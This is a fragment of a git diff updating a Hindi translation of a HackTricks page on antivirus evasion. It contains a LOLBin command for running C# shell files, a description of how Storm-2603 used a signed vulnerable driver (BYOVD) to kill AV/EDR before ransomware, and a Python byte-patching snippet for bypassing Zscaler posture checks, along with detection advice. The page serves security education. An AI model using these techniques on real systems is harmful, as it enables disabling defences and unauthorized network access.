||||
}
|
||||
}
|
||||
```
|
||||
### C# का उपयोग करते हुए संकलक
|
||||
### C# का उपयोग करते हुए कंपाइलर
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -592,7 +626,7 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
|
||||
Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैंसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को निष्क्रिय किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
||||
Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैनसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को अक्षम किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
||||
|
||||
मुख्य बिंदु
|
||||
1. **साइन किया हुआ ड्राइवर**: डिस्क पर वितरित फ़ाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से साइन किया गया ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर में एक वैध Microsoft हस्ताक्षर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है।
|
||||
@ -625,17 +659,17 @@ return 0;
|
||||
|
||||
पता लगाना / शमन
|
||||
• Microsoft की कमजोर-ड्राइवर ब्लॉक सूची (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से मना कर दे।
|
||||
• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाए या अनुमति-सूची में न हो तो अलर्ट करें।
|
||||
• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल की निगरानी करें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स के साथ।
|
||||
• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाता है या अनुमति सूची में नहीं होता है तो अलर्ट करें।
|
||||
• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल पर नज़र रखें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स।
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler का **Client Connector** डिवाइस-पोस्टर नियमों को स्थानीय रूप से लागू करता है और परिणामों को अन्य घटकों के साथ संवाद करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण बायपास को संभव बनाते हैं:
|
||||
Zscaler का **Client Connector** डिवाइस-पोश्चर नियमों को स्थानीय रूप से लागू करता है और परिणामों को अन्य घटकों के साथ संवाद करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण बायपास को संभव बनाते हैं:
|
||||
|
||||
1. पोस्टर मूल्यांकन **पूरी तरह से क्लाइंट-साइड** होता है (एक बूलियन सर्वर को भेजा जाता है)।
|
||||
1. पोश्चर मूल्यांकन **पूरी तरह से क्लाइंट-साइड** होता है (एक बूलियन सर्वर को भेजा जाता है)।
|
||||
2. आंतरिक RPC एंडपॉइंट केवल यह सत्यापित करते हैं कि कनेक्टिंग निष्पादन योग्य **Zscaler द्वारा साइन किया गया है** (के माध्यम से `WinVerifyTrust`)।
|
||||
|
||||
**चार साइन किए गए बाइनरीज़ को डिस्क पर पैच करके** दोनों तंत्रों को निष्क्रिय किया जा सकता है:
|
||||
**डिस्क पर चार साइन किए गए बाइनरी को पैच करके** दोनों तंत्रों को निष्क्रिय किया जा सकता है:
|
||||
|
||||
| बाइनरी | मूल तर्क पैच किया गया | परिणाम |
|
||||
|--------|------------------------|---------|
|
||||
@ -658,17 +692,18 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
अपने मूल फ़ाइलों को बदलने और सेवा स्टैक को पुनः प्रारंभ करने के बाद:
|
||||
मूल फ़ाइलों को बदलने और सेवा स्टैक को पुनरारंभ करने के बाद:
|
||||
|
||||
* **सभी** स्थिति जांच **हरा/अनुपालन** प्रदर्शित करती हैं।
|
||||
* बिना हस्ताक्षर या संशोधित बाइनरी नामित-पाइप RPC एंडपॉइंट्स (जैसे `\\RPC Control\\ZSATrayManager_talk_to_me`) को खोल सकती हैं।
|
||||
* बिना हस्ताक्षर या संशोधित बाइनरी नामित-पाइप RPC एंडपॉइंट्स (जैसे `\\RPC Control\\ZSATrayManager_talk_to_me`) को खोल सकते हैं।
|
||||
* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त करता है।
|
||||
|
||||
यह केस स्टडी दिखाती है कि कैसे पूरी तरह से क्लाइंट-साइड ट्रस्ट निर्णय और सरल सिग्नेचर जांच को कुछ बाइट पैच के साथ पराजित किया जा सकता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user